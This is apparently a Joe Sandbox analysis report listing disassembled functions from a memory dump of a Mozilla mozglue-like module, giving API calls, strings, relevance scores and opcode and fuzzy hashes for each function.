Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 28e3ea173a4d4d0d8c97aa53ece90f2cb2f6a204ee213efe2298255cc15a9daa
Instruction ID: e83a61adb8faa0f129dc917e8056994ea339a756d63e53bc2920b569d8aa904c
Opcode Fuzzy Hash: 28e3ea173a4d4d0d8c97aa53ece90f2cb2f6a204ee213efe2298255cc15a9daa
Instruction Fuzzy Hash: 7A21B771A002089FDF106F29DC49A9E7BB8FF45614F108428E85AA7240CB74F599CFE2

Function 6C9B7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C9B7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C9B7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B707E

Part of subcall function 6C9681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9681DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B709C
LocalFree.KERNEL32(?), ref: 6C9B70AA

Strings

### ERROR: %s: %s, xrefs: 6C9B7087
(null), xrefs: 6C9B706A, 6C9B7083

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: bc37eefb503f36eb5ac3b1af3d349ee9becb18cc083f63732e519f171ed399f2
Instruction ID: 8bbf44654074e7dbf7dcf084a49bffa414ed7ad72ff5fc0ecc293ef824396237
Opcode Fuzzy Hash: bc37eefb503f36eb5ac3b1af3d349ee9becb18cc083f63732e519f171ed399f2
Instruction Fuzzy Hash: 7801F9B1A00104AFDB006BA4DC4ADAF7BBCEF49215F110425FA05B3241D631B958CBE1

Function 6C979E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C979EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C979F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C979F34
LeaveCriticalSection.KERNEL32(?), ref: 6C97A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C97A8B1, 6C97A8D4, 6C97A8EF

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 1992fc8db9c5d6bf549d8cc6b3e2b9ff6c3d94844719abb33f8d05ff3a2fe5ce
Instruction ID: 94957523199309d73732ad4787889eb1afbbd32ec043a61a8dfd12eef386b337
Opcode Fuzzy Hash: 1992fc8db9c5d6bf549d8cc6b3e2b9ff6c3d94844719abb33f8d05ff3a2fe5ce
Instruction Fuzzy Hash: 9A728C72A067118FD324CF28C540615FBE1BF89728F2AC7ADE8699B791D735E841CB90

Function 6C9A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9A2C61

Part of subcall function 6C954DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
Part of subcall function 6C954DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9A2E2D

Part of subcall function 6C9681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9681DE

Strings

expected a Time entry, xrefs: 6C9A2E36
(root), xrefs: 6C9A354F
ProfileBuffer parse error: %s, xrefs: 6C9A2E3B

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 2f4b00d47ced11161a18464576b0ae59356582a8569cb3b7f40a88233b8a2bc7
Instruction ID: 6db71ce32189a19d9db23119b6662487bea5f08fc53debd3939cd01c56360cc6
Opcode Fuzzy Hash: 2f4b00d47ced11161a18464576b0ae59356582a8569cb3b7f40a88233b8a2bc7
Instruction Fuzzy Hash: 9791DE70608B408FC724CF69C48469EF7F5AF99358F10491DE99A9BB91DB30D94ACB42

Function 6C97C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6C97C317
MOZ_CRASH(), xrefs: 6C97D4BB

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 9b54baf7104e09fcedbde55b30d1de880278b3df3c413a136cec9a5c0a028c50
Instruction ID: 7fa5edbcc070eb5be9ebbf6d174c7c1676320848f468cb43dc99319330264d18
Opcode Fuzzy Hash: 9b54baf7104e09fcedbde55b30d1de880278b3df3c413a136cec9a5c0a028c50
Instruction Fuzzy Hash: 9E52D03160A741CFD724CF18C4947AAB7E6FB8A318F24891DE8D687B81D735E845CB62

Function 6C9B9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C9B9F3D
__aulldiv.LIBCMT ref: 6C9B9F77
__aullrem.LIBCMT ref: 6C9B9F8C
__aulldiv.LIBCMT ref: 6C9BA023

Strings

-Infinity, xrefs: 6C9B9E60, 6C9B9E7B
NaN, xrefs: 6C9B9EAB

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: b76de871a730613dcf8da029d4a421aae82e720044d5568e99e8c0efda96215f
Instruction ID: 69e0b2d3aed9ab1d57e28fa6ced42487e1b947cf972753edc10017776aeefe6a
Opcode Fuzzy Hash: b76de871a730613dcf8da029d4a421aae82e720044d5568e99e8c0efda96215f
Instruction Fuzzy Hash: 05C1C031E00319ABDB14CFA8C8807AFB7B6EBA5314F544529D405BBB80DB71ED49CB91

Function 6C95D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C95DC7F
, xrefs: 6C95DA88
1, xrefs: 6C95DBDD
0, xrefs: 6C95D852
-, xrefs: 6C95D7DD
9, xrefs: 6C95DE7F
@, xrefs: 6C95DAF6
8, xrefs: 6C95DC08

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: dc56e59d77088863452360d2aed5888cc7e59c776b7ea825caba42aeb66923ff
Instruction ID: 6a1b592dd77ba60c11ff780af698c891675854449e9cc88d832b678b1b5d30ef
Opcode Fuzzy Hash: dc56e59d77088863452360d2aed5888cc7e59c776b7ea825caba42aeb66923ff
Instruction Fuzzy Hash: 5D62DE7260D3458FD701CF18C29076ABBF6AF86318F984A4DE4D44BB95C335D9A6CB82

Function 6C969F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

1, xrefs: 6C96A824
0, xrefs: 6C96A100
' , xrefs: 6C96A3D8
9, xrefs: 6C96A5D6
0, xrefs: 6C96AB22
@, xrefs: 6C96A625

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: f12e48f6671b2ba386f0267aa31f476d870583a1c6c4107e6d66c32b96159d37
Instruction ID: 285342c432369980256c34f893e47099f05ee16847ac6515a861495d325d71b3
Opcode Fuzzy Hash: f12e48f6671b2ba386f0267aa31f476d870583a1c6c4107e6d66c32b96159d37
Instruction Fuzzy Hash: 6182CF319093318BF710CF1BC49026EB7E6EB85758F65892AE8D547ED0DB35E885CB82

Function 6C95BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C95C1CB
__aulldiv.LIBCMT ref: 6C95C24C
__aulldiv.LIBCMT ref: 6C95C348
__aullrem.LIBCMT ref: 6C95C365
__aulldiv.LIBCMT ref: 6C95C37D

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: ca564f0a8df396e03c74de320938d7a0532e7320a7295eeba397575622058f59
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 1C322632B046168FCB18DE3CC89066ABBE6AFD9310F49866DE495CB395D730ED05CB91

Function 6C9C545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9C8A4B

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 6748e7821dcc473d6c0f55ff824bf16f35ac862823f67dc771b8f36cf46e1fb6
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: D2B1E672B0021ACFDB14CF68CC907A9B7B6EF95314F1902A9C549EB781D730E985CB92

Function 6C9C542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9C925C

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 6cd0fcc83cd549fe357bb5cf7969e5caf8bc937e41cd46092fa0c911797b1cdb
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 75B1D572F0021A8BDB14CF58CC816ADB7B6AF95314F190269C549EBB85D730E989CB92

Function 6C9C50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9C8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9C925C

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: b7d9ce138e4f5084dc90b56994151a48e0598923134e98aea57dfd13da7d3c95
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: AAA1D772B001178FDB14CF68CC807A9B7B6AF95314F1502B9C949EB785D730E999CB92

Function 6C9A77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9A7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9A7A93

Part of subcall function 6C975C50: GetTickCount64.KERNEL32 ref: 6C975D40
Part of subcall function 6C975C50: EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C975D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9A7AA1

Part of subcall function 6C975C50: __aulldiv.LIBCMT ref: 6C975DB4
Part of subcall function 6C975C50: LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C975DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C9A7B31

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 3e9d9396267b8fd6d362ffdc120275956346fa5b695858bf71cff325d5cc292f
Instruction ID: 35d63b402a5348829407a67e4b6dac3005365ed227e1c3fbdf0c17e17450f845
Opcode Fuzzy Hash: 3e9d9396267b8fd6d362ffdc120275956346fa5b695858bf71cff325d5cc292f
Instruction Fuzzy Hash: 90B1AC356087808BCB18CFA4C49165FB7E2BFD9318F154A1CE99567B94DB70E90BCB82

Function 6C996CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C996D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C996E1E

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 190545fa93add6624df31b3837edecfd649328ccff8905c3ebfe861819337645
Instruction ID: f7634df291f7fc298ae2d1d3f8b29d472dd0c08a0e26eb2a7d4116a96b0aebee
Opcode Fuzzy Hash: 190545fa93add6624df31b3837edecfd649328ccff8905c3ebfe861819337645
Instruction Fuzzy Hash: 93A18D706183818FCB15CF24C4907AEFBE6BFA8308F54495DE48A87751DB70E959CB92

Function 6C9BB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C9BB720
RtlNtStatusToDosError.NTDLL ref: 6C9BB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C98FE3F,00000000,00000000,?,?,00000000,?,6C98FE3F), ref: 6C9BB760

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: cc99d34a6e496eed520c7a07b2e806247ae11e6d808a5d991b7e6fc456712b5b
Instruction ID: 973e5f119293fe9ebbc3919dc469951abb1e451a2f5b83f2ef42083c76e2a61a
Opcode Fuzzy Hash: cc99d34a6e496eed520c7a07b2e806247ae11e6d808a5d991b7e6fc456712b5b
Instruction Fuzzy Hash: 51F0AFB0A0420CAEEF019AA1CCC4BEFB7BC9B14719F105129E511729C0D774E6C8C762

Function 6C974640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C974777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C975585, 6C9755A8, 6C9755C3, 6C975624

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: b8fba4b3ede52566ec7055dcbf9c5fc672f8be9d6d9c8c173a5336a918f36b23
Instruction ID: 1fad17c29fd2c955e96db0ffb6502fe17ff21090745f4a1ef674bff60e20a197
Opcode Fuzzy Hash: b8fba4b3ede52566ec7055dcbf9c5fc672f8be9d6d9c8c173a5336a918f36b23
Instruction Fuzzy Hash: 37B28D71A06B018FD728CF18C590715BBE6BFC5324B29C7ADE4698B6A6D731E841CF90

Function 6C9B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9B8C7C
__aulldiv.LIBCMT ref: 6C9B8DD7

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: abf186ce9f9c734c8e384b0231a2bea45213bc7c3d19e44ecba271efc7597e0d
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: DB325971F0121A8BDF1CCE9CC8A17BEB7B6FB88300F15852AD506BB790DA349D458B95

Function 6C9BB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9603D4,?), ref: 6C9BB955
NtQueryVirtualMemory.NTDLL ref: 6C9BB9A5

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: d077d2515b652df3e93b97476cfbe80de89b3795a0deb1f8ba932ea9462c6a7e
Instruction ID: 74815975401d012b9c5b82fc612d258ea3ca7e91d580970858bfb7b2fe73cd1e
Opcode Fuzzy Hash: d077d2515b652df3e93b97476cfbe80de89b3795a0deb1f8ba932ea9462c6a7e
Instruction Fuzzy Hash: 8641C571F01219AFDF04CFA9D880ADEB7B9EF88354F14812AE505B7744DB30E9458B91

Function 6C995C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C964A63,?,?), ref: 6C995F06

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
